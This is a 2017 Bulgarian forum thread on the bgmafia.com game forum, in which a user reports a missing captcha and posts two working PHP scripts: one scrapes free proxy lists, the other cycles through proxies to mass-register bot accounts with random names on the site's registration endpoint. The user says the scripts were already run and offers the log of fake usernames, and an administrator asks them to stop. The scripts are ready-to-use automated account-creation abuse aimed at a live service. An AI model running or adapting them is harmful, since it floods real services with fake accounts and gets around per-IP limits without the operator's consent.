Новини: Промените в сезон 5.4 можете да откриете тук - http://forum.bgmafia.com/index.php?topic=65221.0

Автор Тема: Фалшиви акаунти  (Прочетена 136 пъти)

sportalbg12

  • Публикации: 1
  • Репутация +0/-0
Фалшиви акаунти
« -: 17/06/2017 08:54:33 pm »
Трябва да си сложите поне на регистрационната форма captcha.

В рамките на 10 мин. написах php код който събира проксита от различни сайтове .

<?php
$sites 
= [
['paginate' => false'url' => 'https://free-proxy-list.net/'],
['paginate' => false'url' => 'https://www.us-proxy.org/'],
['paginate' => false'url' => 'https://www.torvpn.com/en/proxy-list'],
['paginate' => false'url' => 'http://www.gatherproxy.com/'],
['paginate' => false'url' => 'https://www.hide-my-ip.com/proxylist.shtml'],
['paginate' => false'url' => 'https://free-proxy-list.net/uk-proxy.html'],
['paginate' => false'url' => 'https://free-proxy-list.net/'],
['paginate' => false'url' => 'https://www.sslproxies.org/'],
['paginate' => ['start' => 'step' => 64'paginate_url' => '?start='] , 'url' => 'https://hidemy.name/en/proxy-list/'],
];
$options = array(
  
'http'=>array(
    
'method'=>"GET",
    
'header'=>"Accept-language: en\r\n"."Cookie: foo=bar\r\n" .
              
"User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n"
  
)
);
$context stream_context_create($options);
foreach(
$sites as $site) {
if(is_array($site['paginate'])) {
$start $site['paginate']['start'];
while(true) {
$url $site['url'].$site['paginate']['paginate_url'].$step;
$content file_get_contents($urlfalse$context);
if (preg_match_all('/\<td class=tdl>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\<\/td\>\<td\>(.*?)\<\/td\>/'$content$ip_match)) {
foreach($ip_match[0] as $ip){
$ip preg_replace('/\<td class=tdl>(.*?)\<\/td>\<td>(.*?)\<\/td>/''$proxy[] = "tcp://$1:$2";'$ip);
echo $ip."<br/>";
}
} else {
break;
}
$step $start+$site['paginate']['step'];
}
} else {
$content file_get_contents($site['url'],false$context);
if (preg_match_all('/\<td\>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\<\/td\>\<td\>(.*?)\<\/td\>/'$content$ip_match)) {
foreach($ip_match[0] as $ip){
$ip preg_replace('/\<td>(.*?)\<\/td>\<td>(.*?)\<\/td>/''$proxy[] = "tcp://$1:$2";'$ip);
echo $ip."<br/>";
}
}
}
}



и php кода който POST-ва към bgmafia.com/auth/register

<?php
//Proxy Array - резулатата от filter-ip's
$proxys[] = "tcp://89.36.212.103:1189";
$proxys[] = "tcp://125.141.200.43:80";
$proxys[] = "tcp://64.183.94.45:8080";
$proxys[] = "tcp://165.138.79.68:8080";

foreach(
$proxys as $proxy) {
$username 'Ko6a_QM_'.randomUserName(4);
$fp fopen('mafia_bots''a');
fwrite($fp$username.PHP_EOL);
fclose($fp);
$postdata http_build_query(
array(
'login[usr]' => $username,
'login[terms]' => '1'
)
);

$opts = array('http' =>
array(
'method'  => 'POST',
'header' => "Accept-language: en\r\n"."Cookie: foo=bar\r\n" .
              
"User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n",
'content' => $postdata,
'proxy' => $proxy,
'request_fulluri' => true,
)
);

$context  stream_context_create($opts);

 file_get_contents('http://bgmafia.com/auth/register'false$context);
}

function 
randomUserName($length 10) {
    
$characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    
$charactersLength strlen($characters);
    
$randomString '';
    for (
$i 0$i $length$i++) {
        
$randomString .= $characters[rand(0$charactersLength 1)];
    }
    return 
$randomString;
}
Ще ви предоставя и log файла с потребителските имена на фалшивете играчи за да ги изтриете от базата данни - mysql,postgresql или там каквото ползвате :D  :)
« Последна редакция: 17/06/2017 09:02:54 pm от sportalbg12 »

RELOADED

  • Администратор
  • *****
  • Публикации: 2433
  • Репутация +2/-2
  • Ти вече ще си "Бай Гошоу СпамерЪ!"
Re: Фалшиви акаунти
« Отговор #1 -: 18/06/2017 12:16:16 am »
Ок, поиграл сте си, но не разбирам защо продължавате?